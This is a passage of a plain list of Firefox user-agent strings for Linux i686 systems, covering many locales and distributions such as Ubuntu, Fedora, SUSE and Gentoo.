Gecko/20101114 Gentoo Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14pre) Gecko/20110105 Firefox/3.6.14pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.15) Gecko/20110303 Ubuntu/10.04 (lucid) Firefox/3.6.15 FirePHP/0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16) Gecko/20110323 Ubuntu/9.10 (karmic) Firefox/3.6.16 FirePHP/0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16pre) Gecko/20110304 Ubuntu/10.10 (maverick) Firefox/3.6.15pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100312 Ubuntu/9.04 (jaunty) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100625 Gentoo Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.7) Gecko/20100726 CentOS/3.6-3.el5.centos Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100727 Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.9) Gecko/20100827 Red Hat/3.6.9-2.el6 Firefox/3.6.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 FirePHP/0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100128 Gentoo Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20051215 Firefox/1.6a1 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060117 Firefox/1.6a1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060217 Firefox/1.6a1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/3.0a1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008020513 Firefox/3.0b3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010415 Firefox/3.0b -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008020507 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021712 Firefox/3.0b4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021714 Firefox/3.0b4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-ZW; rv:1.8.0.7) Gecko/20061018 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070803 Firefox/2.0.0.6 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1~bpo.1) -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080213 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080419 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060309 Linux Mint/5 (Elyssa) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.14) Gecko/2009090216 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.7) Gecko/20091222 SUSE/3.5.7-1.1.1 Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; eu; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; fa; rv:1.8.1.4) Gecko/20100527 Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.6) Gecko/20080208 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8) Gecko/20051111 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.5) Gecko/2008123017 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 pango-text -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.8) Gecko/20061213 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.19) Gecko/20081216 Ubuntu/7.10 (gutsy) Firefox/2.0.0.19 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-2) -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.6) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071030 Fedora/2.0.0.8-2.fc8 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060916 Firefox/2.0b2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20051111 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.03 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009031218 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 -Mozilla/5.0 (X11; U; Linux i686 Gentoo; en-US; rv:1.8.1.13) Gecko/20080413 Firefox/2.0.0.13 (Gentoo Linux) -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.10) Gecko/2009042718 CentOS/3.0.10-1.el5.centos Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc12 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-0.1 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8b4) Gecko/20050827 Firefox/1.0+ -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080420 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070406 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070410 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20060601 Firefox/2.0.0.4 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20070621 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8) Gecko/20060113 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc10 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.4) Gecko/2008111217 Red Hat Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071128 Firefox/2.0.0.11 (Debian-2.0.0.11-1) -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.8.0.7) Gecko/20060913 Fedora/1.5.0.7-1.fc5 Firefox/1.5.0.7 pango-text -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; lt-LT; rv:1.6) Gecko/20051114 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; lt; rv:1.6) Gecko/20051114 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1) -Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.0.19) Gecko/20090720 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.12) Gecko/20070601 Ubuntu/dapper-security Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.1) Gecko/20070311 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.2.15) Gecko/20110303 Ubuntu/8.04 (hardy) Firefox/3.6.15 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050730 Firefox/1.0.6 (Debian package 1.0.6-2) -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mnenhy/0.7.4.666 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) Mnenhy/0.7.4.666 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092700 SUSE/3.0.3-2.2 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.4) Gecko/20081031100 SUSE/3.0.4-4.6 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-0.1 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121622 Slackware/2.6.27-PiP Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030422 Kubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc10 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b4) Gecko/2008030800 SUSE/2.9.94-4.2 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b5) 